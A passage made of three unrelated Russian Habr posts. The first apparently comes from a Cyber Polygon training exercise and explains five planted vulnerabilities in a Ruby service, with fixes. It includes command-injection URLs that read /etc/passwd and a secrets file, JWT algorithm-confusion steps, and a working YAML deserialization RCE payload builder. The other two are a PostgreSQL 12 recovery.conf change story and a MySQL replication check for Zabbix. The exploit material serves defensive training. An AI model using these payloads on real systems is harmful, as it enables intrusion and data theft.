**Health Points (HP)**. HP выражалось простым численным значением. Команда теряла очки HP, если Red Team смогла успешно проэксплуатировать заложенную в сервисе уязвимость и получить флаг. Чем больше уязвимостей смогла проэксплуатировать Red Team, тем больше HP теряла команда, но при этом у каждой из команд HP отнимались только один раз за раунд.
**Service Level Agreement (SLA)**. В контексте сценария показатель SLA характеризовал целостность и доступность сервиса. SLA измерялся в процентах (0–100%). Команда теряла очки SLA, если на момент обращения **чекера** сервис оказывался недоступен или функционировал ненадлежащим образом. Обращения чекера к сервису могли происходить несколько раз за раунд, но количество обращений к каждой из команд всегда было одинаковым. Результирующее значение SLA высчитывалось как процентное соотношение удачных проверок (когда сервис доступен и полностью функционален) к общему количеству проверок.
> ***Чекер****—*механика, которая позволяла нам проверять, что сервисы участников функционируют должным образом. Поскольку игровой сервис имитировал реальное веб-приложение, чекер также использовался для проверки выполнения правил игры: участники не могли просто выключить сервис или отключить часть его функциональности, им нужно было защищаться от атак Red Team.
>
>
Результирующее количество баллов, заработанных командой в ходе сценария, вычислялось как SLA \* HP.
Участникам давалось 30 минут на подготовку, в ходе которых они должны были ознакомиться с предоставленным им сервисом, развернуть средства мониторинга и защиты и начать искать уязвимости в коде сервиса.
По истечении этого времени начиналась так называемая «активная фаза» сценария: Red Team приступала к атаке. Активная фаза состояла из 18 раундов продолжительностью в 5 минут каждый.
Перед началом сценария каждая команда получала 180 HP для каждой из 5 заложенных в сервис уязвимостей (900 HP в сумме). За эксплуатацию уязвимости команда теряла 10 HP. Так, если в каком-то раунде было проэксплуатировано 3 уязвимости, за этот раунд команда теряла суммарно 30 HP, а если было проэксплуатировано 5 уязвимостей — 50 HP.
Помимо проверки того факта, что сервис команды функционирует должным образом, чекер применялся, чтобы в начале каждого раунда доставить в сервис команды так называемый **флаг**(используя легитимную функциональность сервиса). Флаг — это строка формата “Polygon{JWT}”, где JWT — JSON Web Token.
В контексте сценария флаг выступал в роли конфиденциальных данных: чем больше флагов смогла похитить Red Team, тем большей была утечка. Похищенный флаг также означал факт эксплуатации уязвимости: команда теряла очки HP именно тогда, когда Red Team получала флаг, эксплуатируя ту или иную уязвимость.
### Инфраструктура и игровой сервис
Каждой команде, участвующей в учениях, мы предоставили виртуальный сервер под управлением ОС Linux.
После подключения по VPN участники получали доступ к своему серверу посредством SSH, при этом участникам предоставлялся полный доступ (root) к своей системе.
В домашней директории пользователя `/home/cyberpolygon/ch4ng3org` располагался игровой сервис участников.
Бэкенд игрового сервиса был реализован на Ruby, фронтенд — с использованием фреймворка React JS, для управления базой данных была использована СУБД PostgreSQL.
Сервис был предназначен для запуска в Docker, на что указывало, в частности, то, что в содержащей игровой сервис директории были расположены файлы `Dockerfile` и `docker-compose.yml`.
Участники имели полный доступ к исходным кодам сервиса, файлам конфигурации и базе данных и могли использовать эти сведения для поиска и устранения присутствующих в сервисе уязвимостей.
### Уязвимости
#### Небезопасные прямые ссылки на объекты
Уязвимость класса [«небезопасные прямые ссылки на объекты»](https://portswigger.net/web-security/access-control/idor) (IDOR, Insecure Direct Object Reference) возникает из-за недостатков в механизмах авторизации. Уязвимость позволяет злоумышленнику получить доступ к данным других пользователей, к которым при нормальных условиях функционирования приложения у него не должно быть доступа.
В игровом сервисе уязвимость присутствовала в методе`get` класса `UsersController`.
`backend/app/controllers/users_controller.rb`:
```
def get
user = User.find(params[:id])
if params[:full].present?
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: user.phone
})
else
json_response({
id: user.id,
name: user.name
})
end
end
```
При обращении по адресу вида`http://example.com/api/users/`, где USER\_ID — числовой идентификатор пользователя, любой пользователь мог получить JSON-объект, содержащий числовой идентификатор и имя пользователя, соответствующее этому числовому идентификатору.
Эта функциональность сама по себе не несет какой-либо опасности пользовательским данным. Однако следует обратить внимание на следующий фрагмент кода:
```
if params[:full].present?
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: user.phone
})
```
Как можно увидеть, если передать в запросе параметр `full`, в ответе от сервера будет содержаться уже большее количество данных: помимо идентификатора и имени пользователя в ответе от сервиса будут возвращены еще его email и номер телефона.
В игровом сервисе флаги хранились как раз в поле `user.phone` (это можно было обнаружить, например, анализируя сетевой трафик). Каждый раунд чекер создавал нескольких пользователей и в качестве номера телефона для одного из них сохранял флаг.
Чтобы воспользоваться данным недостатком приложения, члены Red Team отправляли
в сервис запросы вида `http://example.com/api/users/?full=1` и искали флаг
в поле `phone` полученных JSON-объектов.
Процесс перебора числовых идентификаторов пользователей для получения флага**Для защиты от этой уязвимости** хорошей практикой считается маскирование конфиденциальных данных при их отображении пользователю. Так, номер телефона `+71112223344` можно отображать как `+7111*****44`.
Например:
```
def get
user = User.find(params[:id])
if params[:full].present?
# Masking user's phone number
uphone = user.phone
x = 5
y = uphone.length - 3
replacement = '*'*(y-x)
uphone[x..y] = replacement
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: uphone
})
else
json_response({
id: user.id,
name: user.name
})
end
end
```
В таком случае вместо полного значения флага Red Team получала бы строку вида `Polyg********X}`, а команда участников не теряла бы очки HP из-за эксплуатации этой уязвимости.
#### Внедрение команд ОС
[Внедрение команд ОС](https://owasp.org/www-community/attacks/Command_Injection) (Command Injection) происходит в результате недостаточной фильтрации пользовательских данных. Используя эту уязвимость, злоумышленник может формировать ввод, содержащий команды ОС, которые выполняются на целевой системе с привилегиями уязвимого приложения.
В игровом сервисе уязвимость присутствовала в методе `disk_stats` класса `StatsController`.
`backend/app/controllers/stats_controller.rb`:
```
def disk_stats
if params[:flags].present?
flags = params[:flags]
else
flags = ''
end
json_response({
disk: `df #{flags}`
})
end
```
При обращении по адресу вида `http://example.com/api/disk_stats` в ответе сервиса
в поле `disk` JSON-объекта возвращается вывод системной утилиты [df](https://en.wikipedia.org/wiki/Df_(Unix)), позволяющей оценить количество свободного пространства в файловой системе.
В вызываемую команду, по задумке разработчика, можно передавать различные параметры, однако при этом их значение никак не фильтруется:
```
if params[:flags].present?
flags = params[:flags]
~~~~~~~~~~~~~~~~~~~~~~~~~~
json_response({
disk: `df #{flags}`
})
```
Это означает, что потенциальный злоумышленник может выполнить практически любую команду в системе, используя специальный синтаксис командной строки.
Так, например, выполнив запрос `http://example.com/api/disk_stats?flags=;cat/etc/passwd`, злоумышленник сможет прочитать содержимое системного файла `/etc/passwd`.
Содержимое файла /etc/passwd, полученное в ответе от сервераRed Team эксплуатировала данный недостаток следующим образом:
1. При помощи отправки запроса `http://example.com/api/disk_stats?flags=>dev/null;cat config/secrets.yml` Red Team получала содержимое файла `backend/config/secrets.yml`, в котором хранился приватный ключ для подписи JWT-токенов.
2. Имея приватный ключ, Red Team могла сформировать и подписать себе валидный JWT-токен для любого пользователя. Поскольку Red Team использовала актуальный приватный ключ сервиса, данный токен был бы успешно провалидирован и принят приложением.
3. При помощи отправки запроса `http://example.com/api/me` от лица пользователя, для которого был сгенерирован токен, Red Team получала номер телефона этого пользователя и проверяла, нет ли в нем флага.
Приватный ключ сервиса, полученный в ответе от сервера**Чтобы защититься от этой уязвимости,** достаточно было запретить передавать какие-либо параметры в вызов команды, поскольку общая работоспособность системы не завязана
на использовании этого эндпоинта:
```
def disk_stats
json_response({
disk: `df`
})
end
```
#### Небезопасная конфигурация
Уязвимость [небезопасной конфигурации](https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A6-Security_Misconfiguration) (Security Misconfiguration) возникает, как правило,
из-за человеческого фактора. Стандартные конфигурации приложений часто недостаточно ориентированы на безопасность. Из-за лени, недостатка внимания или некомпетентности обслуживающего персонала эти конфигурации порой остаются неадаптированными к суровым реалиям, что существенно сказывается на безопасности приложения.
В игровом сервисе эта уязвимость присутствовала в описании сервиса `db` в файле `docker-compose.yml`.
```
db:
image: postgres
restart: always
network_mode: bridge
volumes:
- ./db_data:/var/lib/postgresql/data
ports:
- 5432:5432
environment:
POSTGRES_DB: ch4ng3
POSTGRES_USER: ch4ng3
POSTGRES_PASSWORD: ch4ng3
```
Как можно заметить, сетевой порт базы данных доступен из внешней сети:
```
ports:
- 5432:5432
```
Кроме того, сервер базы данных использует в качестве имени базы данных, имени пользователя и пароля одну и ту же строку, к тому же совпадающую с именем сервиса `ch4ng3.org`.
Обнаружив в результате сканирования сети порт базы данных, Red Team смогла подобрать логин и пароль к этой базе данных. После этого она выполнила следующий SQL-запрос, получив в результате сразу все номера пользовательских телефонов, в которых хранились флаги:
```
SELECT phone FROM users WHERE phone LIKE 'Polygon%'
```
Пример исполнения вышеприведенного SQL-запроса**Для защиты от этой уязвимости** идеальным решением стал бы запрет на подключение к базе данных из внешней сети и смена пароля пользователя базы данных (при этом нужно было
не забыть внести соответствующие изменения в конфигурацию сервиса `api`):
```
db:
image: postgres
restart: always
network_mode: bridge
volumes:
- ./db_data:/var/lib/postgresql/data
environment:
POSTGRES_DB: ch4ng3
POSTGRES_USER: ch4ng3
POSTGRES_PASSWORD:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
environment:
- DATABASE\_URL=postgres://ch4ng3:@db:5432/ch4ng3?sslmode=disable
```
Однако достаточно было предпринять одно действие из двух: сменить пароль пользователя базы данных на более безопасный либо запретить подключения к базе данных из внешней сети.
#### Изменение алгоритма подписи JWT
Следующая заложенная в игровом сервисе уязвимость была связана со [сменой алгоритма подписи JWT](https://cyberpolygon.com/materials/security-of-json-web-tokens-jwt/).
В игровом сервисе уязвимость присутствовала в методе `decode` класса `JsonWebToken`.
`backend/app/lib/json_web_token.rb`:
```
def self.decode(token, algorithm)
# cannot store key as ruby object in yaml file
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
HashWithIndifferentAccess.new body
# rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
# raise custom error to be handled by custom handler
raise ExceptionHandler::InvalidToken, e.message
end
```
Стоит более внимательно присмотреться к следующим строкам:
```
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
```
Приложение подгружает строку с публичным ключом сервиса из файла конфигурации и, если
в токене был передан алгоритм `RS256`, производит преобразование этой строки в публичный ключ RSA, который в дальнейшем используется для проверки подписи токена.
Легитимный запрос на получение пользовательских данныхДекодированный токен из предыдущего запроса. В поле alg передано значение RS256Можно заметить, что, если в параметре `algorithm` передано любое другое значение, преобразования строки с публичным ключом не произойдет. Если передать в поле `alg` JWT значение `HS256`, то для проверки подписи токена будет использован симметричный алгоритм HMAC, и именно эта строка с публичным ключом будет использована в качестве ключа для проверки подписи токена.
Red Team эксплуатировала данный недостаток следующим образом:
1. При помощи отправки запроса `http://example.com/api/auth/third_party` Red Team получала публичный ключ сервиса из поля `public_key` полученного JSON-объекта.
2. Имея публичный ключ, Red Team могла сформировать валидный JWT-токен для любого пользователя, передав в поле `alg` JWT значение `HS256` и подписав токен, используя
в качестве секрета для алгоритма HMAC строку, содержащую публичный ключ сервиса.
3. При помощи отправки запроса `http://example.com/api/me` от лица пользователя, для которого был сгенерирован токен, Red Team получала номер телефона этого пользователя и проверяла, нет ли в нем флага.
Публичный ключ сервиса, полученный с использованием легитимной функциональности Новый токен подписан при помощи алгоритма HS256Новый токен успешно проходит проверку, и сервис возвращает пользовательские данные**Чтобы защититься от этой уязвимости,** можно было руководствоваться следующей рекомендацией: при работе с JWT желательно использовать одновременно только один алгоритм подписи — либо симметричный, либо асимметричный. Так, самое простое исправление будет выглядеть следующим образом:
`backend/app/lib/json_web_token.rb`:
```
def self.decode(token, algorithm)
# cannot store key as ruby object in yaml file
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
else
raise ExceptionHandler::InvalidToken, Message.invalid_token
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
HashWithIndifferentAccess.new body
# rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
# raise custom error to be handled by custom handler
raise ExceptionHandler::InvalidToken, e.message
end
```
Теперь, если передать в поле `alg` токена значение, отличное от `RS256`, токен будет помечен как невалидный и Red Team не сможет получить доступ к приложению от лица других пользователей, подписывая токены публичным ключом сервиса.
#### Небезопасная десериализация YAML
Последняя заложенная в игровом сервисе уязвимость была связана с [небезопасной десериализацией](https://cyberpolygon.com/materials/insecure-deserialisation/) YAML.
Подписанные пользователем петиции в личном кабинетеЗа импорт петиций через их описание в формате YAML отвечал метод `import` класса `PetitionsController`.
`backend/app/controllers/petitions_controller.rb`:
```
def import
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
rescue => e
json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
return
end
if petition['created_at']
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
else
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
end
petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
json_response(petition)
end
```
Особое внимание стоило уделить следующим строкам кода:
```
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
```
Как можно заметить, содержимое YAML-объекта берется из base64-кодированного параметра `petition`, после чего преобразуется в объекты языка Ruby конструкцией `YAML.load(yaml)`.
Данная конструкция является небезопасной и позволяет, в том числе, выполнить на целевой системе произвольный код на языке Ruby в контексте уязвимого приложения, чем
и пользовалась Red Team.
При помощи следующего скрипта был сгенерирован YAML-объект, эксплуатирующий данный недостаток:
```
require "erb"
require "base64"
require "active_support"
if ARGV.empty?
puts "Usage: exploit_builder.rb "
exit!
end
erb = ERB.allocate
erb.instance\_variable\_set :@src, File.read(ARGV.first)
erb.instance\_variable\_set :@lineno, 1
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
payload = Base64.encode64(Marshal.dump(depr))
puts <<-PAYLOAD
---
!ruby/object:Gem::Requirement
requirements:
- !ruby/object:Rack::Session::Abstract::SessionHash
req: !ruby/object:Rack::Request
env:
rack.session: !ruby/object:Rack::Session::Abstract::SessionHash
loaded: true
HTTP\_COOKIE: "a=#{payload}"
store: !ruby/object:Rack::Session::Cookie
coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
key: a
secrets: []
exists: true
PAYLOAD
```
В качестве полезной нагрузки был использован следующий код:
```
phones = ''
User.all().each do |user|
phones += user.phone + ';'
end
raise phones
```
Код получал номера телефонов всех зарегистрированных в сервисе пользователей, объединял их друг с другом через «;» и при помощи конструкции `raise` вызывал исключение, передавая в качестве сообщения об ошибке строку, содержащую номера телефонов пользователей.
Сообщение об ошибке далее возвращалось сервером в поле JSON-объекта `message` вместе
с кодом ответа 500. При получении такого ответа Red Team оставалось только найти флаг
в сообщении об ошибке.
Номера телефонов всех зарегистрированных пользователей (в том числе и содержащие флаги) возвращаются от сервера в сообщении об ошибке**Чтобы защититься от данной уязвимости,** достаточно было заменить вызов функции `YAML.load(yaml)` на вызов функции `YAML.safe_load(yaml)`. Однако чекер в процессе проверки функциональности проверял, чтобы в переданном YAML-объекте было возможно использовать алиасы. Поэтому результирующая конструкция будет выглядеть примерно так: `YAML.safe_load(yaml, aliases: true)`.
А результирующая безопасная функция — так:
```
def import
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.safe_load(yaml, aliases: true)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
rescue => e
json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
return
end
if petition['created_at']
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
else
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
end
petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
json_response(petition)
end
```
### Послесловие
Итак, мы рассмотрели уязвимости, заложенные в игровом сервисе Defence-сценария тренинга Cyber Polygon, разобрали способы их эксплуатации и привели примеры исправлений, которые позволили бы участникам защитить свой сервис от атак Red Team.
Конечно, наши варианты устранения уязвимостей не единственно верные. Мы просто перечислили те способы, которыми воспользовались бы сами.
Сценарий предусматривал, что участники могут защититься, не исправляя код в своих игровых сервисах. Например, для защиты от третьей уязвимости Security Misconfiguration, связанной с небезопасной конфигурацией Docker, достаточно было заблокировать порт базы данных на файрволе.
Однако мы убеждены, что лучшее решение — исправлять недостатки сервисов и приложений, а не «прикрывать» их с помощью компенсационных мер защиты, которые рано или поздно атакующий может обойти. Вот почему мы подробно рассмотрели корректировку исходного кода для защиты от уязвимостей.
Если вы участвовали в Cyber Polygon, напишите, что оказалось самым полезным для вас. | https://habr.com/ru/post/525406/ | null | ru | null |
# Простите, я сломал ваш recovery.conf
В PostgreSQL начиная с очень давних времён [аж версии 8.0](https://www.postgresql.org/docs/8.0/release-8-0.html) вышедшей в далёком 2005 году для восстановления в определённую точку времени использовался специальный [файл конфигурации recovery.conf](https://www.postgresql.org/docs/8.0/backup-online.html#RECOVERY-CONFIG-SETTINGS). Этот же файл впоследствии стал использоваться для режима standby и потоковой репликации.
Однако начиная со следующего релиза PostgreSQL 12 больше recovery.conf работать не будет: я его сломал.
Но зачем?
Была у recovery.conf одна особенность: читался он только при старте СУБД. И если для point-in-time recovery который нужен реже чем раз в год с этим смириться ещё можно, то вот необходимость рестарта всей базы для изменения адреса upstream сервера репликации несколько удручает. Видел разные способы извращений для обхода этого ограничения вроде использования L3 роутинга, схемы с каскадными репликациями (чтобы соответственно перезапускать не все реплики, а хотя бы только часть) и даже (хоть в production не встречал) [walbouncer](https://github.com/cybertec-postgresql/walbouncer).
После очередного планового рестарта реплик только из-за необходимости изменить параметры репликации решил я поковырять, а чего будет стоить научить PostgreSQL перечитывать primary\_conninfo по SIGHUP? ~~Оказалось всё плохо.~~ В принципе, необходимо поменять всего одну переменную в startup процессе и оттуда же запросить рестарт WalReceiver — и на этом всё, репликация продолжится с новым адресом корректно. Осталось корректно это реализовать. Несколько недель спустя я закончил патч с реализацией перечитывания recovery.conf по SIGHUP сигналу, при этом тот патч никак не ломал имеющееся поведение базы.
Затем, набравшись смелости, [отправил его](https://www.postgresql.org/message-id/4143811525443566@web2g.yandex.ru) в список рассылок разработчиков PostgreSQL. На что довольно быстро ответил Michael Paquier:
> Before making some of them as reloadable, let's switch them to be GUCs first and not re-invent the SIGHUP handling of parameters as your patch does.
Упс, оказалось, что я задавал поисковику неправильный вопрос. Спрашивать надо было не про перечитывание recovery.conf, а о превращении параметров из живущего отдельно recovery.conf в инфраструктуру GUC (grand unified configuration), используемую для всех остальных параметров СУБД. То есть однозначно нет, такой патч нам не нужен, такое мы не хотим. Давайте сначала перенесём все эти настройки из recovery.conf в нашу стандартную инфраструктуру настроек.
На этом невесёлом известии я погоревал и подумал: «А вот давайте перенесём!». Почитал архивные обсуждения по правильному поисковому запросу, открыл последнее найденное [обсуждение переноса настроек](https://www.postgresql.org/message-id/flat/CANP8%2BjLO5fmfudbB1b1iw3pTdOK1HBM%3DxMTaRfOa5zpDVcqzew%40mail.gmail.com) (ссылку любезно предоставил Michael Paquier в своём ответе, за что ему отдельное спасибо, как и за быстрый ответ). На тот момент мая 2018 года патч был заброшен уже больше года. Значит, отсюда и начнём. Или правильнее сказать «продолжим»? По плану развлечения:
1. прочитать и составить список правок к последней опубликованной версии патча
2. разобрать изменения в патче и перенести нужное на актуальную версию кодовой базы
3. исправить все упоминания recovery.conf и его параметров в документации
4. починить тесты
5. отправить новый патч в список рассылок
6. получить какие-нибудь отклики
7. чего-нибудь поправить согласно пожеланиям и вернуться на пункт 5
8. получить ещё раз отказ в принятии патча (через годик-полтора)
Похоже на план действий? Ну вот и двигаемся по нему!
Долго ли, коротко ли, добрался до пункта номер пять и 21 июня 2018 года опубликовал новую версию патча, [в новой ветке обсуждений](https://www.postgresql.org/message-id/flat/607741529606767@web3g.yandex.ru). Затем 3 месяца в гнетущей тишине леденящего душу молчания рыбы Баскервилей. На исходе сентября неожиданно к патчу проявляет интерес Peter Eisentraut — один из Core разработчиков с правом коммита. Спустя несколько итераций правок, пока я тихо-мирно уехал на несколько дней погулять-посмотреть Будапешт и осматриваю достопримечательности, вдруг приходит обескураживающее письмо от Peter Eisentraut:
> I went over the patch and did a bunch of small refinements. I have also updated the documentation more extensively. The attached patch is committable to me.
То есть, Peter Eisentraut поправил ещё некоторые мелочи по своему усмотрению, обновил документацию, сжёг целиком раздел recovery-config.sgml и считает, что в таком виде патч уже можно принимать. Ой, а я думал это случится только для postgresql 13, даже если так очень повезёт, что патч вообще дойдет до состояния готовности к коммиту.
И несколькими днями спустя, а именно 25 ноября этого 2018 года, Peter Eisentraut действительно [принимает этот патч](https://www.postgresql.org/message-id/E1gQwex-0001Vd-OW%40gemulon.postgresql.org):
> recovery.conf settings are now set in postgresql.conf (or other GUC sources). Currently, all the affected settings are PGC\_POSTMASTER; this could be refined in the future case by case.
>
> Recovery is now initiated by a file recovery.signal. Standby mode is initiated by a file standby.signal. The standby\_mode setting is gone. If a recovery.conf file is found, an error is issued.
>
> The trigger\_file setting has been renamed to promote\_trigger\_file as part of the move.
>
> The documentation chapter «Recovery Configuration» has been integrated into «Server Configuration».
>
> pg\_basebackup -R now appends settings to postgresql.auto.conf and creates a standby.signal file.
>
> Author: Fujii Masao
>
> Author: Simon Riggs
>
> Author: Abhijit Menon-Sen
>
> Author: Sergei Kornilov
Уже прошло две недели и этот коммит не откатили. Удивительно. И, кажется, даже не собираются. Поразительно. Неизвестно, не решит ли сообщество поменять поведение в какую-нибудь сторону ещё раз, тем более до feature freeze релиза postgresql 12 в апреле ещё есть немного времени. Но, похоже, больше recovery.conf всё-таки у нас не будет.
### Так что же изменилось
Сперва-наперво, СУБД откажется стартовать, если найдёт recovery.conf файл — это было сделано специально, чтобы пользователь воспользовавшись одной из множества старых инструкций не удивлялся, почему база игнорирует конфигурацию в этом файле.
Старая настройка standby\_mode пропала. Теперь её, равно и как сам факт наличия recovery.conf для включения режима восстановления, заменяют два файла (любого содержания, обычно пустые):
* $PGDATA/recovery.signal — идеологический наследник standby\_mode=off, восстановление из архива будет произведено до указанной в конфигах точки;
* $PGDATA/standby.signal — соответственно, standby\_mode=on. Этот файлик мы будем видеть на всех репликах
Если startup процесс базы нашёл оба файла — то считаем что мы в режиме standby.
Если для ясности свести изменения параметров в табличку:
| old recovery.conf | PostgreSQL 12+ postgresql.conf |
| --- | --- |
| primary\_conninfo | primary\_conninfo |
| primary\_slot\_name | primary\_slot\_name |
| trigger\_file | promote\_trigger\_file |
| recovery\_min\_apply\_delay | recovery\_min\_apply\_delay |
| recovery\_target | recovery\_target |
| recovery\_target\_name | recovery\_target\_name |
| recovery\_target\_time | recovery\_target\_time |
| recovery\_target\_xid | recovery\_target\_xid |
| recovery\_target\_lsn | recovery\_target\_lsn |
| recovery\_target\_inclusive | recovery\_target\_inclusive |
| recovery\_target\_timeline | recovery\_target\_timeline |
| recovery\_target\_action | recovery\_target\_action |
| restore\_command | restore\_command |
| archive\_cleanup\_command | archive\_cleanup\_command |
| recovery\_end\_command | recovery\_end\_command |
То можно заметить, что изменено чуть меньше чем ничего. На данный момент (за единственным исключением префикса promote\_ для promote\_trigger\_file) все новые параметры называются точно так же как и старые и принимают те же самые возможные значения. Хотя на самом деле есть ещё изменение касательно настроек цели для восстановления. Не знаю, пользовался ли этим кто-то раньше, но это было задокументированное поведение и можно было указать одновременно несколько recovery\_target, recovery\_target\_lsn, recovery\_target\_name, recovery\_target\_time или recovery\_target\_xid. Например,
```
recovery_target_lsn = '1/1D9FEA00'
recovery_target_xid = '5238954'
```
Реально использовалась для восстановления последняя строка из recovery.conf. Больше так нельзя, цель для восстановления должна быть указана максимум одна. Впрочем, из-за логики инфраструктуры GUC по-прежнему можно указать одноимённый параметр несколько раз:
```
recovery_target_lsn = '1/1D9FEA00'
recovery_target_lsn = '1/16AC7D0'
```
Такое допустимо, восстанавливаться будем до значения настройки указанной последней.
И, в общем-то, это всё что следует сказать об изменениях видимых снаружи PostgreSQL. pg\_basebackup -R (--write-recovery-conf) остался на своём месте и делает то что и предназначен, лишь только теперь он вместо recovery.conf добавит параметры в postgresql.auto.conf и создаст файл standby.signal
К сожалению, говоря о том, что это все видимые в данный момент изменения я именно это и имею в виду. Все новые параметры по-прежнему установлены как PGC\_POSTMASTER, то есть могут быть изменены только при старте PostgreSQL. Как уже упоминалось, это было требование со стороны сообщества разработчиков: сначала перенести все настройки, и только потом уже смотреть, можно ли их менять на запущенной базе. Так что сейчас PostgreSQL в замечательной стадии разработки, когда старое поведение уже сломали, а изменений к лучшему ещё не завезли.
Я уже [опубликовал патч](https://commitfest.postgresql.org/21/1896/) который разрешит менять primary\_conninfo и primary\_slot\_name налету. Посмотрим, что из этого получится.
Простите, я сломал ваш recovery.conf
### UPD 7 апреля 2019
В последние сутки до feature freeze версии 12 можно подвести итог. Изменение настроек репликации в релиз не вошли. Конечно, это тоже любопытная история. Давным давно тот патч авторства Simon Riggs, который я взял за основу, уже содержал правки для рестарта walreceiver при изменении настроек подключения. Их я и выделил в отдельный патч дополнив документацией и тестами. И спустя 6 обновлений патча и пару месяцев обсуждений всплывает очевидный факт, что если рестартовать walreceiver, то база попробует переключиться на восстановление файлов из restore\_command. Вполне простое поведение конечного автомата, срабатывающее на выключение walreceiver по любой причине. Но это оказывается «something we do not want». Ну а раньше сказать нельзя было? Ок, переделал неким образом, но на календаре уже был финальный commitfest для 12 версии и сюда уже никто не заглянул. В общем, не быстрое это дело, патчи в PostgreSQL делать. Зато имею полное право причислить себя к списку людей, благодаря которым в 12 версию вошёл эпичнейший долгострой [REINDEX CONCURRENTLY](https://commitfest.postgresql.org/22/1921/)!
Стоит напоследок упомянуть, что ряд настроек [появилась возможность](https://www.postgresql.org/message-id/E1greTl-0004Vn-Oy%40gemulon.postgresql.org) менять на лету: archive\_cleanup\_command, promote\_trigger\_file, recovery\_end\_command, recovery\_min\_apply\_delay | https://habr.com/ru/post/432918/ | null | ru | null |
# Проверка репликации MySQL master-master через Zabbix
После настройки MySQL репликации master-master, следующий логический шаг это настройка проверки этой системы. Читая туториалы по интернету стало ясно, что подобная репликация — дело популярное, а слетает оно на раз два три. Поэтому решил вставить проверку — а работает ли репликация до сих пор, или что-нибудь произошло и все слетело.
Первые же несколько гугл запросов показали, что верить «SHOW SLAVE STATUS\G» нельзя: Штука хорошая, но врет часто и помногу. Немного подумав, я пришел к следующему решению:
\*На двух серверах создается database, в ней табличка, в которую по крону пишут оба сервера. Репликация автоматически должна переносить данные с одного на другой сервер.
\*Пишется скрипт, который вызывается по крону для обновления данных.
\*Пишется скрипт, который читает табличку и смотрит когда последний раз обновились данные с «другого» сервера. Если все хорошо — пишет 1, если нет — 0 (такой статус легче проверять заббиксом)
\*Вписывается свой UserParameter в конфиг заббикс агента. Добавляются триггеры в заббикс
\*Кофе
##### Подготовка
На обоих серверах создаем базу и таблицы:
`create database repl_check;
use repl_check;
create table repl_status(s_id int, server_time TIMESTAMP);
insert into repl_status values(1,NOW());`
Не забываем включить эту базу в репликацию, надо добавить в /etc/my.cnf строчку
`binlog-do-db=repl_check`
Перезапускаем оба mysql сервера.
##### Подаем признаки жизни
На каждом сервере свой конфиг, и уникальный server\_id. Изначально я попробовал использовать глобальный @@server\_id, который определен в my.cnf для репликации, но бинарный лог передает команду полностью, и каждый сервер выполняет его для разного server\_id, (Тоесть первый обновляет строчку, где server\_id=1, а второй там где server\_id=2), и я решил не мучаться, а просто вписывать уникальные server\_id для каждого сервера.
max\_seconds\_diff это максимальная разница, до которой сервер считает что все нормально. В принципе там может быть быть маленькое значение, но я решил не впадать в фанатизм. Если будет реальная проблема, узнаю через 3 минуты в любом случае.
**config.php**
`php<br/
$username="root";
$password="";
$dbname="repl_check";
$server_id=1;
$max_seconds_diff = 130;
?>`
**repl\_update.php**
`php<br/
include('config.php');
$sql_conn = mysql_connect("localhost",$username,$password);
if ($sql_conn == NULL)
die("failed connecting");
mysql_select_db($dbname);
$sql_query = "update repl_status set server_time=NOW() where s_id like " . intval($server_id);
mysql_query($sql_query,$sql_conn);
mysql_close($sql_conn);
?>`
Добавляем его в крон. Теперь кажду минуту оба сервера будут обновлять базу, каждый строчку с своим server\_id
`crontab -e
* * * * * php /home/myuser/scripts/check_repl/repl_update.php`
Все, табличка обновляется каждую минуту.
##### Распознаем признаки жизни.
**check\_repl.php**
`php<br/
include('config.php');
$sql_conn = mysql_connect("localhost",$username,$password);
if ($sql_conn == NULL)
die("failed connecting");
mysql_select_db($dbname);
$time_result = mysql_query("select time_to_sec(timediff(NOW(), max(server_time))) as serv_time_diff from repl_status where s_id != " . intval($server_id));
$result_row = mysql_fetch_array($time_result, MYSQL_ASSOC);
$seconds_diff = intval($result_row["serv_time_diff"]);
mysql_free_result($time_result);
mysql_close($sql_conn);
if ($seconds_diff > $max_seconds_diff)
print "0"; //bad
else
print "1"; //good!
?>`
Для удобства я еще добавил рядом скрипт:
**check\_repl.sh**
`#!/bin/sh
php /home/myuser/scripts/check_repl/check_repl.php`
Для проверки, на одном из серверов надо запустить «slave stop», подождать 2-3 минуты и запустить check\_repl.sh. В этом случае мы должны получить 0. Если запустить «slave start», через минуту статус уже должен выровняться.
##### Заббикс
Вот эту строчку надо добавить в /etc/zabbix/zabbix\_agentd.conf (или где лежит конфиг)
`UserParameter=mysql_repl.check,/home/myuser/scripts/check_repl/check_repl.sh`
